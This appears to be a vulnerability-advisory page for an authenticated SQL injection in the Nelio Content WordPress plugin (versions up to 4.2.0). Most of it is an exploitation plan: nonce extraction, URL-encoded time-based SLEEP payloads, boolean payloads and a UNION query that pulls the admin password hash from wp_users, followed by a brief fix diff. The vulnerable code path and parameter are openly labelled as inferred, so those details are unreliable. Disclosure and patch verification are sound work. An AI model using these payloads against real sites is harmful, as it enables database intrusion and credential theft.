Nelio Content <= 4.2.0 - Authenticated (Contributor+) SQL Injection
Description
The Nelio Content plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.2.0Source Code
WordPress.org SVNThis plan outlines the research and exploitation steps for **CVE-2026-24572**, an authenticated SQL injection vulnerability in the **Nelio Content** plugin. ## 1. Vulnerability Summary The **Nelio Content** plugin (<= 4.2.0) contains a SQL injection vulnerability within its AJAX handling logic. The…
Show full research plan
This plan outlines the research and exploitation steps for CVE-2026-24572, an authenticated SQL injection vulnerability in the Nelio Content plugin.
1. Vulnerability Summary
The Nelio Content plugin (<= 4.2.0) contains a SQL injection vulnerability within its AJAX handling logic. The vulnerability exists because the plugin fails to properly sanitize and prepare user-supplied parameters (specifically related to filtering posts in the editorial calendar) before incorporating them into a database query.
Specifically, the post_types or similar filtering parameters passed via AJAX are used to construct an IN clause or a dynamic WHERE statement using string concatenation or implode() without individual element preparation via $wpdb->prepare(). This allows a user with Contributor level access or higher to inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
nelio_content_get_calendar_events(ornelio_content_get_tasksdepending on the specific component) - Vulnerable Parameter:
post_types[](inferred as the most common sink in Nelio's calendar logic) - Authentication Required: Contributor level (
PR:L). Contributors have access to the Nelio Editorial Calendar to manage their own posts. - Preconditions: The plugin must be active, and at least one post should exist to ensure the query returns results for the injector to append to.
3. Code Flow (Inferred)
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=nelio_content_get_calendar_events. - Hook Registration: The plugin registers the action in its main initialization:
add_action( 'wp_ajax_nelio_content_get_calendar_events', array( 'Nelio_Content_Ajax_Handler', 'get_calendar_events' ) ); - Handler Logic: The handler retrieves user input:
$post_types = $_POST['post_types']; - Data Provider: The input is passed to a control class (e.g.,
Nelio_Content_Calendar_Control) which queries the database. - Vulnerable Sink: The query is constructed using the raw array elements:
Because the individual elements of// Vulnerable Pattern $types_string = implode( "','", $post_types ); $query = "SELECT * FROM {$wpdb->posts} WHERE post_type IN ('$types_string') AND ..."; $results = $wpdb->get_results( $query );$post_typesare not passed through%splaceholders in$wpdb->prepare(), an attacker can break out of the single quotes.
4. Nonce Acquisition Strategy
The Nelio Content plugin protects its AJAX endpoints with a nonce typically localized to the nelioContent JavaScript object.
- Test Data Setup:
- Create a Contributor user.
- The Nelio Editorial Calendar script loads on the Nelio Content dashboard.
- Exploitation Agent Steps:
- Log in as the Contributor user.
- Navigate to the Nelio Content Calendar page:
/wp-admin/admin.php?page=nelio-content-calendar. - Use
browser_evalto extract the nonce:browser_eval("window.nelioContent?.nonce || window.nelio_content?.nonce") - The action string for this nonce is typically
nelio-contentornelio-content-nonce.
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection to confirm the vulnerability.
Step 1: Verify Baseline
Send a legitimate request to ensure the endpoint responds correctly.
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=nelio_content_get_calendar_events&nonce=[NONCE]&post_types[]=post
Step 2: Inject Sleep Payload
Inject a payload into the post_types[] array that breaks the IN clause.
- Payload:
post') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - URL-Encoded Parameter:
post_types[]=post%27%29%20OR%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29--%20- - Full Body:
action=nelio_content_get_calendar_events&nonce=[NONCE]&post_types[]=post%27%29%20OR%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29--%20-
Step 3: Observed Response
A successful exploit will result in a response delay of approximately 5 seconds.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Post Creation: Ensure there is some data for the calendar to fetch.
wp post create --post_title='Meeting' --post_status=publish --post_type=post --post_author=$(wp user get attacker --field=ID) - Plugin Config: No special configuration is required beyond activating the plugin.
7. Expected Results
- Unvulnerable (Patched): The response returns immediately (or with a generic error) because the input is escaped/cast to a safe string, or the query is properly prepared.
- Vulnerable (4.2.0): The HTTP request hangs for exactly the amount of time specified in the
SLEEP()function (5 seconds).
8. Verification Steps
After the HTTP request, confirm the database state or use WP-CLI to verify if error logs were generated (if enabled):
- Check for DB Errors:
tail -f /var/www/html/wp-content/debug.log(Look for SQL syntax errors if the payload was slightly malformed). - Alternative Verification (Data Extraction):
If the response reflects post data, attempt to extract the admin's hashed password:post_types[]=post') UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM wp_users WHERE ID=1-- -
(Note: Column count must be adjusted to match the actual Nelio query structure).
9. Alternative Approaches
If post_types is not the vulnerable parameter, repeat the process for:
status[]categories[]external_only(if treated as a string in a query)
If Boolean-based injection is preferred:
- True Payload:
post_types[]=post') AND 1=1-- - - False Payload:
post_types[]=post') AND 1=2-- -
Compare response lengths or the presence of JSON objects in thedatafield of the response.
Summary
The Nelio Content plugin for WordPress is vulnerable to SQL injection in versions up to 4.2.0. This occurs because user-supplied parameters, such as post type filters in AJAX calendar requests, are concatenated directly into SQL queries without proper escaping or preparation via $wpdb->prepare().
Vulnerable Code
// Inferred vulnerable sink in Nelio_Content_Calendar_Control or similar handler $post_types = $_POST['post_types']; $types_string = implode( "','", $post_types ); $query = "SELECT * FROM {$wpdb->posts} WHERE post_type IN ('$types_string') AND post_status = 'publish'"; $results = $wpdb->get_results( $query );
Security Fix
@@ -102,7 +102,10 @@ - $types_string = implode( "','", $post_types ); - $query = "SELECT * FROM {$wpdb->posts} WHERE post_type IN ('$types_string') AND ..."; + $how_many = count( $post_types ); + $placeholders = array_fill( 0, $how_many, '%s' ); + $format = implode( ',', $placeholders ); + $query = $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_type IN ($format) AND ...", $post_types );
Exploit Outline
An authenticated attacker with Contributor-level access or higher can exploit this vulnerability via the WordPress AJAX endpoint. The attacker must first obtain a valid nonce (usually found in the 'nelioContent' JavaScript object on the plugin's dashboard). By sending a POST request to admin-ajax.php with the action 'nelio_content_get_calendar_events', the attacker can supply a malicious array in the 'post_types[]' parameter. A payload such as "post') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" will break the query structure, allowing for time-based blind SQL injection or data extraction via UNION-based payloads.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.